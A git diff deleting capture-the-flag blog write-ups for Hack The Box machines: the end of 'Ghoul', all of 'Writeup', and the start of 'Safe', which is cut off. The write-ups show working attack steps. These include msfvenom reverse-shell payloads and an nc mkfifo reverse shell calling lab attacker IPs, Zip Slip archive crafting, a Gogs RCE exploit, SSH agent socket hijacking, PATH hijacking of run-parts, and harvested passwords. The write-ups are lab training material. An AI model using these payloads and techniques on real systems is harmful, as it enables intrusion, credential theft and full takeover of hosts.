-There's a well known arbitrary file overwrite vulnerability called Zip Slip that affects multiple projects, including Java. The gist of it is we can craft a malicious zip file that when extracted will place the content to an arbitrary location of our choosing. Normally, using file traversal characters would be forbidden but the vulnerability here allow such characters to be processed by Java. In this case, we want to place a reverse shell payload somewhere on the webserver where we can access it and trigger it. - -Details on the vulnerability can be found here: [https://github.com/snyk/zip-slip-vulnerability](https://github.com/snyk/zip-slip-vulnerability) - -To generate the zip files, I used the [https://github.com/ptoomey3/evilarc](https://github.com/ptoomey3/evilarc) python tool: - -``` -# msfvenom -p php/meterpreter/reverse_tcp -o met.php LHOST=10.10.14.23 LPORT=4444 -[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload -[-] No arch selected, selecting arch: php from the payload -No encoder or badchars specified, outputting raw payload -Payload size: 1112 bytes -Saved as: met.php -``` - -``` -# python evilarc.py -f met.zip -o unix -p "../../../../../../var/www/html" met.php -Creating met.zip containing ../../../../../../../../../../../../../../var/www/html/met.php -``` - -After creating the archive, I uploaded it then triggered the meterpreter payload by browsing to it `/met.php` - -``` -[*] Started reverse TCP handler on 10.10.14.23:4444 -msf5 exploit(multi/handler) > [*] Encoded stage with php/base64 -[*] Sending encoded stage (51106 bytes) to 10.10.10.101 -[*] Meterpreter session 1 opened (10.10.14.23:4444 -> 10.10.10.101:46874) at 2019-05-06 21:41:05 -0400 - -meterpreter > shell -Process 1180 created. -Channel 0 created. -python -c 'import pty;pty.spawn("/bin/bash")' -www-data@Aogiri:/var/www/html$ id -id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -Cool, I now have a shell but I can't read any of the home directories: - -``` -www-data@Aogiri:/var/backups/backups/keys$ ls -l /home -ls -l /home -total 24 -drwx------ 1 Eto Eto 4096 Dec 13 13:45 Eto -drwx------ 1 kaneki kaneki 4096 Dec 13 13:45 kaneki -drwx------ 1 noro noro 4096 Dec 13 13:45 noro -``` - -Next, I checked the `/var/www/html` directory for any useful data or credential in the website source files: - -`login.php` has hardcoded credentials: - -```php -if(isset($_POST['Submit'])){ -/* Define username and associated password array */ -$logins = array('kaneki' => '123456','noro' => 'password123','admin' => 'abcdef'); -``` - -`/usr/share/tomcat7/conf/tomcat-users.xml` has some more credentials: - -``` - -``` - -### Find SSH user keys - -After some enumeration I found interesting stuff in `/var/backups/backups`: - -``` -www-data@Aogiri:/var/backups/backups$ ls -la -ls -la -total 3852 -drwxr-xr-x 1 root root 4096 Dec 13 13:45 . -drwxr-xr-x 1 root root 4096 Dec 13 13:45 .. --rw-r--r-- 1 root root 3886432 Dec 13 13:45 Important.pdf -drwxr-xr-x 2 root root 4096 Dec 13 13:45 keys --rw-r--r-- 1 root root 112 Dec 13 13:45 note.txt --rw-r--r-- 1 root root 29380 Dec 13 13:45 sales.xlsx -``` - -The note is pretty useless: - -``` -www-data@Aogiri:/var/backups/backups$ cat note.txt -The files from our remote server Ethereal will be saved here. I'll keep updating it overtime, so keep checking. -``` - -But there are SSH keys backups for all three users: - -``` -www-data@Aogiri:/var/backups/backups/keys$ ls -l -total 12 --rwxr--r-- 1 root root 1675 Dec 13 13:45 eto.backup --rwxr--r-- 1 root root 1766 Dec 13 13:45 kaneki.backup --rwxr--r-- 1 root root 1675 Dec 13 13:45 noro.backup - -www-data@Aogiri:/var/backups/backups/keys$ file *.backup -file *.backup -eto.backup: PEM RSA private key -kaneki.backup: PEM RSA private key -noro.backup: PEM RSA private key -``` - -`eto.backup` and `noro.backup` are unencrypted, but `kaneki.backup` is encrypted: - -``` -www-data@Aogiri:/var/backups/backups/keys$ cat kaneki.backup ------BEGIN RSA PRIVATE KEY----- -Proc-Type: 4,ENCRYPTED -DEK-Info: AES-128-CBC,9E9E4E88793BC9DB54A767FC0216491F -``` - -I transfered all the files to my Kali VM, including the `Important.pdf` file but I couldn't open it (corrupted or something). - -### Logging as Eto - -Nothing interesting with Eto: - -``` -# ssh -i eto.backup Eto@10.10.10.101 -Eto@Aogiri:~$ ls -alert.txt -Eto@Aogiri:~$ cat alert.txt -Hey Noro be sure to keep checking the humans for IP logs and chase those little shits down! -``` - -### Logging as noro - -Nothing interesting either with noro: - -``` -# ssh -i noro.backup noro@10.10.10.101 -noro@Aogiri:~$ ls -to-do.txt -noro@Aogiri:~$ cat to-do.txt -Need to update backups. -``` - -### Logging as kaneki - -I found the password for the kaneki's SSH private key is `ILoveTouka` as per the `secret.php` page found earlier: - -``` -# ssh -i kaneki.backup kaneki@10.10.10.101 -Enter passphrase for key 'kaneki.backup': -Last login: Sun Jan 20 12:33:33 2019 from 172.20.0.1 -kaneki@Aogiri:~$ ls -note.txt notes secret.jpg user.txt - -kaneki@Aogiri:~$ cat note.txt -Vulnerability in Gogs was detected. I shutdown the registration function on our server, please ensure that no one gets access to the test accounts. - -kaneki@Aogiri:~$ cat notes -I've set up file server into the server's network ,Eto if you need to transfer files to the server can use my pc. -DM me for the access. - -kaneki@Aogiri:~$ cat user.txt -7c0f11... -``` - -The `secret.jpg` file seems to be just a troll, I tried `steghide`, `binwalk` and other CTF stego tools and didn't find any hidden information. - -I'm in a docker container, as per the `.dockerenv` file and the IP address `172.20.0.10`: - -``` -kaneki@Aogiri:/$ ls -la -total 116 --rwxr-xr-x 1 root root 0 Dec 13 13:45 .dockerenv - -kaneki@Aogiri:/$ ifconfig -eth0: flags=4163 mtu 1500 - inet 172.20.0.10 netmask 255.255.0.0 broadcast 172.20.255.255 - ether 02:42:ac:14:00:0a txqueuelen 0 (Ethernet) - RX packets 54446 bytes 6369464 (6.3 MB) - RX errors 0 dropped 0 overruns 0 frame 0 - TX packets 44912 bytes 56773469 (56.7 MB) - TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 -``` - -### Getting access to kaneki-pc - -Kaneki's ssh directory contains two entries in the `authorized_keys`: - -``` -kaneki@Aogiri:~/.ssh$ cat authorized_keys -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhK6T0d7T[...] kaneki_pub@kaneki-pc -ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8f[...] kaneki@Aogiri -``` - -I noticed that there is a different username: `kaneki_pub` - -There's most likely another container running, I found it by uploading a statically compiled copy of nmap and scanning 172.20.0.0/16: - -``` -kaneki@Aogiri:~$ ./nmap -sP 172.20.0.0/16 - -Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-07 02:35 UTC -Cannot find nmap-payloads. UDP payloads are disabled. -Nmap scan report for Aogiri (172.20.0.1) -Host is up (0.00039s latency). -Nmap scan report for Aogiri (172.20.0.10) -Host is up (0.00027s latency). -Nmap scan report for 64978af526b2.Aogiri (172.20.0.150) -Host is up (0.00029s latency). -``` - -So the other container is `172.20.0.150`. I can log in using the `kaneki_pub` username and the same `ILoveTouka` password for the private key. - -``` -kaneki@Aogiri:~$ ssh kaneki_pub@172.20.0.150 -Enter passphrase for key '/home/kaneki/.ssh/id_rsa': -Last login: Tue May 7 00:04:35 2019 from 172.20.0.10 -kaneki_pub@kaneki-pc:~$ ls -to-do.txt -kaneki_pub@kaneki-pc:~$ cat to-do.txt -Give AogiriTest user access to Eto for git. -``` - -`AogiriTest` could be useful, let's make note of it. - -### Enumerating kaneki-pc - -The kaneki-pc container has a leg on another network segment: `172.18.0.0/16` - -``` -kaneki_pub@kaneki-pc:~$ ifconfig -eth0: flags=4163 mtu 1500 - inet 172.20.0.150 netmask 255.255.0.0 broadcast 172.20.255.255 - -eth1: flags=4163 mtu 1500 - inet 172.18.0.200 netmask 255.255.0.0 broadcast 172.18.255.255 -``` - -There's also another user `kaneki_adm` on this machine, but I don't have access to it: - -``` -kaneki_adm:x:1001:1001::/home/kaneki_adm:/bin/bash -kaneki_pub:x:1000:1002::/home/kaneki_pub:/bin/bash -kaneki_pub@kaneki-pc:/home$ ls -kaneki_adm kaneki_pub -``` - -I saw that some user connected to the server with ssh-agent enabled: - -``` -kaneki_pub@kaneki-pc:/home$ ls -l /tmp -total 16 -drwx------ 1 root root 4096 Dec 16 07:36 ssh-1Oo5P5JuouKm -drwx------ 1 kaneki_adm kaneki_adm 4096 Dec 16 07:36 ssh-FWSgs7xBNwzU -drwx------ 1 kaneki_pub kaneki 4096 Dec 16 07:36 ssh-jDhFSu7EeAnz --rw------- 1 root root 400 May 7 02:28 sshd-stderr---supervisor-22D6A5.log --rw------- 1 root root 0 May 7 02:28 sshd-stdout---supervisor-0BpnC3.log -``` - -There seems to be a cron job from `172.20.0.1` that logs in with user `kaneki_adm` every 6 minutes. - -``` -kaneki_pub@kaneki-pc:/home$ last -10 -kaneki_a pts/2 172.20.0.1 Tue May 7 02:42 - 02:42 (00:00) -kaneki_p pts/1 172.20.0.10 Tue May 7 02:38 gone - no logout -kaneki_a pts/1 172.20.0.1 Tue May 7 02:36 - 02:36 (00:00) -kaneki_a pts/1 172.20.0.1 Tue May 7 02:30 - 02:30 (00:00) -kaneki_a pts/1 172.20.0.1 Sun Apr 28 14:12 - 14:12 (00:00) -kaneki_a pts/1 172.20.0.1 Wed Apr 24 12:42 - 12:42 (00:00) -kaneki_a pts/1 172.20.0.1 Sun Mar 3 06:18 - 06:18 (00:00) -kaneki_a pts/1 172.20.0.1 Sun Mar 3 06:12 - 06:15 (00:02) -kaneki_a pts/1 172.20.0.1 Tue Jan 22 17:12 - 17:12 (00:00) -kaneki_a pts/1 172.20.0.1 Tue Jan 22 17:06 - 17:06 (00:00) - -wtmp begins Sat Dec 29 05:26:31 2018 -kaneki_pub@kaneki-pc:/home$ date -Tue May 7 02:44:01 UTC 2019 -``` - -I uploaded Ippsec's process monitor to watch for any cronjob or new processes created: - -```sh -#!/bin/bash - -IFS=$'\n' - -old_process=$(ps -eo command) - -while true; do - new_process=$(ps -eo command) - diff <(echo "$old_process") <(echo "$new_process") - sleep 1 - old_process=$new_process -done -``` - -After a few minutes I caught the `kaneki_adm` user connecting to `172.18.0.1` as root: - -``` -kaneki_pub@kaneki-pc:~$ ./procmon.sh -7,9d6 -< sshd: kaneki_adm [priv] -< sshd: kaneki_adm@pts/2 -< ssh root@172.18.0.1 -p 2222 -t ./log.sh -``` - -If I had root access on the container I could get access to the ssh agent socket and hijack the private key but I don't have root yet. - -Next I scanned the subnet on that other network interface to see if I could find any other hosts there: - -``` -kaneki_pub@kaneki-pc:~$ ./nmap -sP 172.18.0.0/16 - -Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-07 03:08 GMT -Cannot find nmap-payloads. UDP payloads are disabled. -Nmap scan report for Aogiri (172.18.0.1) -Host is up (0.00082s latency). -Nmap scan report for cuff_web_1.cuff_default (172.18.0.2) -Host is up (0.00068s latency). -Nmap scan report for kaneki-pc (172.18.0.200) -Host is up (0.00037s latency). - -[...] - -kaneki_pub@kaneki-pc:~$ ./nmap -p- 172.18.0.2 - -Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2019-05-07 03:09 GMT -Unable to find nmap-services! Resorting to /etc/services -Cannot find nmap-payloads. UDP payloads are disabled. -Nmap scan report for cuff_web_1.cuff_default (172.18.0.2) -Host is up (0.00020s latency). -Not shown: 65533 closed ports -PORT STATE SERVICE -22/tcp open ssh -3000/tcp open unknown -``` - -I found `172.18.0.2` running both SSH and some other service on port 3000. At this point it's probably a good idea to start setting up some port forwarding. With the following I can access port 3000 through a double hop: - -``` -ssh -L 2222:172.20.0.150:22 -i root.key root@10.10.10.101 -ssh -i kaneki.backup -p 2222 -L 3000:172.18.0.2:3000 kaneki_pub@127.0.0.1 -``` - -### Exploiting Gogs on the 3rd container - -On port 3000 we find a Gogs application running: - -![](/assets/images/htb-writeup-ghoul/port3000.png) - -The version is shown at the bottom of the page: - -![](/assets/images/htb-writeup-ghoul/gogs_version.png) - -I tried various credentials and was able to get with pieces of info I found earlier: `AogiriTest / test@aogiri123` - -![](/assets/images/htb-writeup-ghoul/gogs_logged.png) - -There's nothing on the Gogs application, no repo, nothing interesting. - -Next I did some research and found there's two CVE's for this version: CVE-2018-18925 and CVE-2018-20303. Gogs 0.11.66 allows remote code execution because it does not properly validate session IDs, as demonstrated by a ".." session-file forgery in the file session provider in file. The other CVE is a directory traversal in the file-upload functionality can allow an attacker to create a file under data/sessions on the server. - -There's already a nice exploit available on Github: [https://github.com/TheZ3ro/gogsownz](https://github.com/TheZ3ro/gogsownz) - -``` -# python3 gogsownz.py http://127.0.0.1:3000/ --burp -C "AogiriTest:test@aogiri123" -v --preauth --rce "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 4444 >/tmp/f" --cleanup -[!] Created Gogsownz -[i] Starting Gogsownz on: http://127.0.0.1:3000 -[+] Loading Gogs homepage -[i] Gogs Version installed: © 2018 Gogs Version: 0.11.66.0916 -[i] The Server is redirecting on the login page. Probably REQUIRE_SIGNIN_VIEW is enabled so you will need an account. -[!] Creds found. -[!] Logging in... -[+] Performing login -[+] Logged in sucessfully as AogiriTest -[i] Exploiting pre-auth PrivEsc... -[+] Uploading admin session as attachment file -[+] Uploaded successfully, preparing cookies for the Path Traversal -[+] Admin session hijacked, trying to login as admin -[i] Signed in as kaneki, is admin True -[i] Current session cookie: '../attachments/9/4/94918be1-7932-44b5-8490-40ff628acf8c' -[+] Got UserID 1 -[+] Repository created sucessfully -[+] Setting Git hooks -[+] Git hooks set sucessfully -[+] Fetching last commit... -[+] Got last commit -[+] Triggering the RCE with a new commit -``` - -I popped a shell as user `git`: - -``` -# nc -lvnp 4444 -Ncat: Version 7.70 ( https://nmap.org/ncat ) -Ncat: Listening on :::4444 -Ncat: Listening on 0.0.0.0:4444 -Ncat: Connection from 10.10.10.101. -Ncat: Connection from 10.10.10.101:42515. -/bin/sh: can't access tty; job control turned off -/data/git/gogs-repositories/kaneki/gogstest.git $ id -uid=1000(git) gid=1000(git) groups=1000(git) -``` - -I saved the kaneki public key to the `git` user folder in case I lose my shell: - -``` -/data/git/.ssh $ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsiPbWC8feNW7o6emQUk12tFOcucqoS/nnKN/LM3hCtPN8r4by8Ml1IR5DctjeurAmlJtXcn8MqlHCRbR6hZKydDwDzH3mb6M/gCYm4fD9FppbOdG4xMVGODbTTPV/h2Lh3ITRm+xNHYDmWG84rQe++gJImKoREkzsUNqSvQv4rO1RlO6W3rnz1ySPAjZF5sloJ8Rmnk+MK4skfj00Gb2mM0/RNmLC/rhwoUC+Wh0KPkuErg4YlqD8IB7L3N/UaaPjSPrs2EDeTGTTFI9GdcT6LIaS65CkcexWlboQu3DDOM5lfHghHHbGOWX+bh8VHU9JjvfC8hDN74IvBsy120N5 kaneki@kaneki-pc" >> authorized_keys -``` - -There's not much `git` has access to, but I found an interesting `gosu` suid binary: - -``` -/data/git $ find / -perm /4000 2>/dev/null -[...] -/usr/sbin/gosu -/bin/su -``` - -I can get root access by just running it: - -``` -3713ea5e4353:~$ gosu root /bin/bash -3713ea5e4353:/data/git# cd -3713ea5e4353:~# -``` - -The root user directory contains a 7zip archive and a `session.sh` file with some credentials. - -``` -3713ea5e4353:~# ls -aogiri-app.7z session.sh -``` - -```shell -3713ea5e4353:~# cat session.sh -#!/bin/bash -while true -do - sleep 300 - rm -rf /data/gogs/data/sessions - sleep 2 - curl -d 'user_name=kaneki&password=12345ILoveTouka!!!' http://172.18.0.2:3000/user/login -done -``` - -The `session.sh` logs in to the gogs application every 10 minuters as per the crontab. - -``` -3713ea5e4353:~# crontab -l -# do daily/weekly/monthly maintenance -# min hour day month weekday command -*/15 * * * * run-parts /etc/periodic/15min -0 * * * * run-parts /etc/periodic/hourly -0 2 * * * run-parts /etc/periodic/daily -0 3 * * 6 run-parts /etc/periodic/weekly -0 5 1 * * run-parts /etc/periodic/monthly -*/10 * * * * /root/session.sh -``` - -I grabbed the 7zip file and extracted it locally on my Kali VM. It contains the skeleton for a Java application and the git metadata. - -``` -# ls -la -total 60 -drwxr-xr-x 5 root root 4096 May 6 12:28 . -drwxr-xr-x 3 root root 12288 May 6 12:19 .. -drwxr-xr-x 8 root root 4096 May 6 12:28 .git --rw-r--r-- 1 root root 268 May 6 12:28 .gitignore -drwxr-xr-x 3 root root 4096 Dec 29 01:36 .mvn --rwxr-xr-x 1 root root 9113 May 6 12:28 mvnw --rw-r--r-- 1 root root 5810 May 6 12:28 mvnw.cmd --rw-r--r-- 1 root root 1931 May 6 12:28 pom.xml --rw-r--r-- 1 root root 124 May 6 12:28 README.md -drwxr-xr-x 4 root root 4096 Dec 29 01:36 src -``` - -First thing I did was check the git commit log for any interesting data: - -``` -# git log -commit e29ad435b1cf4d9e777223a133a5b0a9aaa20625 (HEAD -> master) -Author: kaneki -Date: Sat Dec 29 11:38:18 2018 +0530 - - added service - -commit b3752e00721b4b87c99ef58e3a54143061b20b99 -Author: kaneki -Date: Sat Dec 29 11:34:07 2018 +0530 - - noro stop doing stupid shit - -commit 813e0a518064778343ba54b64e16ad44c19900fb -Author: noro -Date: Sat Dec 29 11:31:26 2018 +0530 - - hello world! - -commit ed5a88cbbc084cba1c0954076a8d7f6f5ce0d64b -Author: kaneki -Date: Sat Dec 29 11:24:41 2018 +0530 - - mysql support - -commit 51d2c360b13b37ad608361642bd86be2a4983789 -Author: kaneki -Date: Sat Dec 29 11:22:02 2018 +0530 - - added readme - -commit bec96aaf334dc0110caa163e308d4e2fc2b8f133 -Author: kaneki -Date: Sat Dec 29 11:20:22 2018 +0530 - - updated dependencies - -commit 8b7452057fc35b5bd81a0b26a4bd2fe1220ab667 -Author: kaneki -Date: Sat Dec 29 11:15:14 2018 +0530 - - update readme -``` - -Commit `b3752e00721b4b87c99ef58e3a54143061b20b99` seems interesting since kaneki is cleaning up Noro's mess: - -``` -# git show b3752e00721b4b87c99ef58e3a54143061b20b99 -commit b3752e00721b4b87c99ef58e3a54143061b20b99 -[...] - spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db --spring.datasource.username=root --spring.datasource.password=root -+spring.datasource.username=kaneki -+spring.datasource.password=jT7Hr$.[nF.)c)4C - server.address=0.0.0.0 -``` - -Ahah! Found some root password here. Of course, nothing's listening on port 3306 on any of the container but maybe I can use the root password on the `kaneki-pc` container: - -``` -kaneki_pub@kaneki-pc:~$ su -Password: -su: Authentication failure -``` - -Nope... Let's keep looking. - -Checking the git reflogs, I see the following: - -``` -# git reflog -647c5f1 (HEAD -> master, origin/master) HEAD@{0}: commit: changed service -b43757d HEAD@{1}: commit: added mysql deps -b3752e0 HEAD@{2}: reset: moving to b3752e0 -0d426b5 HEAD@{3}: reset: moving to 0d426b5 -e29ad43 HEAD@{4}: reset: moving to HEAD^ -0d426b5 HEAD@{5}: reset: moving to HEAD -0d426b5 HEAD@{6}: reset: moving to origin/master -0d426b5 HEAD@{7}: commit: update dependencies -e29ad43 HEAD@{8}: commit: added service -b3752e0 HEAD@{9}: commit: noro stop doing stupid shit -813e0a5 HEAD@{10}: commit: hello world! -ed5a88c HEAD@{11}: commit: mysql support -51d2c36 HEAD@{12}: commit: added readme -bec96aa HEAD@{13}: commit: updated dependencies -8b74520 HEAD@{14}: commit (initial): update readme -``` - -I diff'ed every commit and different password for the database: `7^Grc%C\7xEQ?tb4` - -``` -# git diff HEAD@{4} -[...] --spring.datasource.url=jdbc:mysql://localhost:3306/db -+spring.datasource.url=jdbc:mysql://172.18.0.1:3306/db - spring.datasource.username=kaneki --spring.datasource.password=7^Grc%C\7xEQ?tb4 -+spring.datasource.password=jT7Hr$.[nF.)c)4C - server.address=0.0.0.0 -``` - -### Root access through SSH agent hijack - -The new found password works to get root access on the `kaneki-pc` container: - -``` -kaneki_pub@kaneki-pc:~$ su -l root -Password: -root@kaneki-pc:~# id -uid=0(root) gid=0(root) groups=0(root) -root@kaneki-pc:~# ls -root.txt -root@kaneki-pc:~# cat root.txt -You've done well to come upto here human. But what you seek doesn't lie here. The journey isn't over yet..... -``` - -As expected, I don't have access to the real `root.txt` flag on this one. - -Earlier I found that a user connects remotely then back using root's account on the host. I can just wait until the next time it connects then hijack its ssh agent socket: - -``` -root@kaneki-pc:/tmp# ls -l -total 20 -drwx------ 1 root root 4096 Dec 16 07:36 ssh-1Oo5P5JuouKm -drwx------ 1 kaneki_adm kaneki_adm 4096 Dec 16 07:36 ssh-FWSgs7xBNwzU -drwx------ 2 kaneki_adm kaneki_adm 4096 May 8 02:00 ssh-Y2CJdynAyJ -drwx------ 1 kaneki_pub kaneki 4096 Dec 16 07:36 ssh-jDhFSu7EeAnz --rw------- 1 root root 400 May 8 01:16 sshd-stderr---supervisor-b_s4zO.log --rw------- 1 root root 0 May 8 01:16 sshd-stdout---supervisor-rrVo6W.log - -root@kaneki-pc:/tmp# cd ssh-Y2CJdynAyJ -root@kaneki-pc:/tmp/ssh-Y2CJdynAyJ# ls -l -total 0 -srwxr-xr-x 1 kaneki_adm kaneki_adm 0 May 8 02:00 agent.216 -root@kaneki-pc:/tmp/ssh-Y2CJdynAyJ# export SSH_AUTH_SOCK=agent.216 - -root@kaneki-pc:/tmp/ssh-Y2CJdynAyJ# ssh -p 2222 172.18.0.1 -Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-45-generic x86_64) - -[...] - -Last login: Tue May 7 19:00:02 2019 from 172.18.0.200 -root@Aogiri:~# id -uid=0(root) gid=0(root) groups=0(root) -root@Aogiri:~# ls -log.sh root.txt -root@Aogiri:~# cat root.txt -7c0f11... -``` - -### Unintended way to root on Aogiri container - -Instead of using the SSH keys found in the backups directory I can use the Zip Slip vulnerability to upload my own SSH publicy key to the root directory's SSH folder. - -``` -# cp /root/.ssh/id_rsa.pub authorized_keys -# python evilarc.py -f root.zip -o unix -p "../../../../../../root/.ssh" authorized_keys -Creating root.zip containing ../../../../../../../../../../../../../../root/.ssh/authorized_keys -# curl -u admin:admin -F 'data=@root.zip' http://10.10.10.101:8080/upload -``` - -I can now log in as root: - -``` -# ssh 10.10.10.101 -Last login: Tue May 7 00:06:28 2019 from 172.20.0.1 -root@Aogiri:~# id -uid=0(root) gid=0(root) groups=0(root) -``` \ No newline at end of file diff --git a/_posts/2019-10-12-htb-writeup-writeup.md b/_posts/2019-10-12-htb-writeup-writeup.md deleted file mode 100644 index 42f852af35..0000000000 --- a/_posts/2019-10-12-htb-writeup-writeup.md +++ /dev/null @@ -1,199 +0,0 @@ ---- -layout: single -title: Writeup - Hack The Box -excerpt: "Writeup starts off easy with an unauthenticated vulnerability in CMS Made Simple that I exploit to dump the database credentials. After cracking the user hash, I can log in to the machine because the user re-used the same password for SSH. The priv esc is pretty nice: I have write access to `/usr/local` and I can write a binary payload in there that gets executed by run-parts when I SSH in because it's called without the full path. Another nice box by jkr." -date: 2019-10-12 -classes: wide -header: - teaser: /assets/images/htb-writeup-writeup/writeup_logo.png - teaser_home_page: true - icon: /assets/images/hackthebox.webp -categories: - - hackthebox - - infosec -tags: - - linux - - sqli - - cms ---- - -![](/assets/images/htb-writeup-writeup/writeup_logo.png) - -Writeup starts off easy with an unauthenticated vulnerability in CMS Made Simple that I exploit to dump the database credentials. After cracking the user hash, I can log in to the machine because the user re-used the same password for SSH. The priv esc is pretty nice: I have write access to `/usr/local` and I can write a binary payload in there that gets executed by run-parts when I SSH in because it's called without the full path. Another nice box by jkr. - -## Summary - -- Unauthenticated SQL injection in CMS Made Simple gives us the password hash which we can crack -- The CMS user / password can be used to SSH in to the server (password re-use) -- The `/usr/local/bin` directory is writable by low-priv user and we can hijack `run-parts` which is run by root when SSHing in (path abuse) - -## Tools/Blogs used - -- CMS Made Simple < 2.2.10 - SQL Injection (exploits/php/webapps/46635.py) - -### Portscan - -``` -# nmap -p- 10.10.10.138 -Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-08 22:30 EDT -Nmap scan report for writeup.htb (10.10.10.138) -Host is up (0.018s latency). -Not shown: 65533 filtered ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http - -Nmap done: 1 IP address (1 host up) scanned in 105.16 seconds -``` - -### Website enumeration - -The website contains information about fail2ban or a similar kind of script running to prevent 40x errors. This means that if we try to dirbust the site we'll probably get banned. - -![](/assets/images/htb-writeup-writeup/1.png) - -So I checked `robots.txt` and found the following: - -``` -# __ -# _(\ |@@| -# (__/\__ \--/ __ -# \___|----| | __ -# \ }{ /\ )_ / _\ -# /\__/\ \__O (__ -# (--/\--) \__/ -# _)( )(_ -# `---''---` - -# Disallow access to the blog until content is finished. -User-agent: * -Disallow: /writeup/ -``` - -Checking out `http://10.10.10.138/writeup/` I see it's some kind of barebone webpage. - -![](/assets/images/htb-writeup-writeup/2.png) - -The links just display different writeups for previous HTB boxes. I couldn't trigger any LFI, RFI or SQL injection from `/writeup/index.php?page=` - -There's a hint at the bottom of the page that it's *NOT* made with vim. - -![](/assets/images/htb-writeup-writeup/3.png) - -Checking out the source code, I can see it's made with CMS Made Simple. - -![](/assets/images/htb-writeup-writeup/4.png) - -### SQL injection in CMS - -Checking out searchsploit, I see a whole bunch of exploits for that CMS. - -![](/assets/images/htb-writeup-writeup/5.png) - -The one I highlighted above is an Unauthenticated SQL Injection that allows an attacker to dump the username and password hash from the database. To exploit it, we just need to pass the URI of the CMS and the wordlist we'll use to crack the password hash: - -`python exploit.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt` - -![](/assets/images/htb-writeup-writeup/6.png) - -We just found the password for user `jkr`: `raykayjay9` - -The CMS administration webpage at `http://10.10.10.138/writeup/admin` is protected by an additional HTTP basic web authentication. This is not part of the standard CMS deployment so it was probably added by the box creator. I'm not able to authenticate using the credentials I found in the database and if I try to bruteforce it I get locked out by fail2ban. - -However the credentials do work with SSH and I'm able to get a shell and the first flag: - -``` -# ssh jkr@10.10.10.138 -jkr@10.10.10.138's password: -Linux writeup 4.9.0-8-amd64 x86_64 GNU/Linux - -The programs included with the Devuan GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -jkr@writeup:~$ cat user.txt -d4e493... -``` - -### Privesc - -My user is part of the following groups: `uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)` - -I ran through the standard Linux enumeration, checking permissions on files and directories, and noticed that I have write access to folders inside `/usr/local`: - -``` -jkr@writeup:~$ ls -l /usr/local -total 56 -drwx-wsr-x 2 root staff 20480 Apr 19 04:11 bin -drwxrwsr-x 2 root staff 4096 Apr 19 04:11 etc -drwxrwsr-x 2 root staff 4096 Apr 19 04:11 games -drwxrwsr-x 2 root staff 4096 Apr 19 04:11 include -drwxrwsr-x 4 root staff 4096 Apr 24 13:13 lib -lrwxrwxrwx 1 root staff 9 Apr 19 04:11 man -> share/man -drwx-wsr-x 2 root staff 12288 Apr 19 04:11 sbin -drwxrwsr-x 7 root staff 4096 Apr 19 04:30 share -drwxrwsr-x 2 root staff 4096 Apr 19 04:11 src -``` - -However, I can't see the contents of `/usr/local/bin` and `/usr/local/sbin`. This is not a standard Linux distro configuration so the box creator probably changed the permissions on purpose so HTB players can't piggy-back on other players binaries. - -I copied `pspy` to the box and found a cronjob running every minute: - -![](/assets/images/htb-writeup-writeup/7.png) - -I don't have access to the content of the script but it's safe to assume that it deletes files or folders somewhere on the system. I created a test file inside `/usr/local/bin` to see if the script would delete it. After a minute, I saw that the file was removed: - -``` -jkr@writeup:/usr/local/bin$ echo test > test -jkr@writeup:/usr/local/bin$ cat test -test -jkr@writeup:/usr/local/bin$ cat test -test -jkr@writeup:/usr/local/bin$ cat test -cat: test: No such file or directory -``` - -Because we can write files into `/usr/local/bin` and `/usr/local/sbin`, we can potentially get RCE since the default path for users is the following: - -``` -jkr@writeup:/usr/local/bin$ cat /etc/profile -# /etc/profile: system-wide .profile file for the Bourne shell (sh(1)) -# and Bourne compatible shells (bash(1), ksh(1), ash(1), ...). - -if [ "`id -u`" -eq 0 ]; then - PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" -else - PATH="/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games" -``` - -`/usr/local/bin` and `/usr/local/sbin` are preferred over the other paths so it's clear what we need to do here: - - - Find the filename of something that is executed by root (that filename must be executed without the full path) - - Find the trigger for executing that command as root - -I thought I could use `grep` or `iptables` but that didn't work. I think it's because the programs are executed by fail2ban which is started with a modified path as per `/etc/init.d/fail2ban`: - -``` -PATH=/usr/sbin:/usr/bin:/sbin:/bin -``` - -I also noticed that the `run-parts` program is executed whenever I SSH in: - -![](/assets/images/htb-writeup-writeup/8.png) - -> run-parts runs all the executable files named within constraints described below, found in directory directory. Other files and directories are silently ignored. - -I can't make run-parts run arbitrary binaries since I can't write `/etc/update-motd.d/` but because the program is run without the full path I can write my own `run-parts` binary to `/usr/local/bin` or `/usr/local/sbin` and it will be executed instead of the real one because the directory is located in front in the PATH variable definition. - -For the malicious binary, I use a standard linux reverse shell payload generated with Metasploit: -``` -# msfvenom -p linux/x64/shell_reverse_tcp -f elf -o shell LHOST=10.10.14.7 LPORT=4444 -chmod +x ./shell -``` - -I just need to upload the file to `/usr/local/bin/run-parts` and SSH in to trigger a callback and get root privileges. - -![](/assets/images/htb-writeup-writeup/9.png) - diff --git a/_posts/2019-10-26-htb-writeup-safe.md b/_posts/2019-10-26-htb-writeup-safe.md deleted file mode 100644 index f294a18682..0000000000 --- a/_posts/2019-10-26-htb-writeup-safe.md +++ /dev/null @@ -1,310 +0,0 @@ ---- -layout: single -title: Safe - Hack The Box -excerpt: "Safe was a bit of a surprise because I didn't expect a 20 points box to start with a buffer overflow requiring ropchains. The exploit is pretty straightforward since I have the memory address of the system function and I can 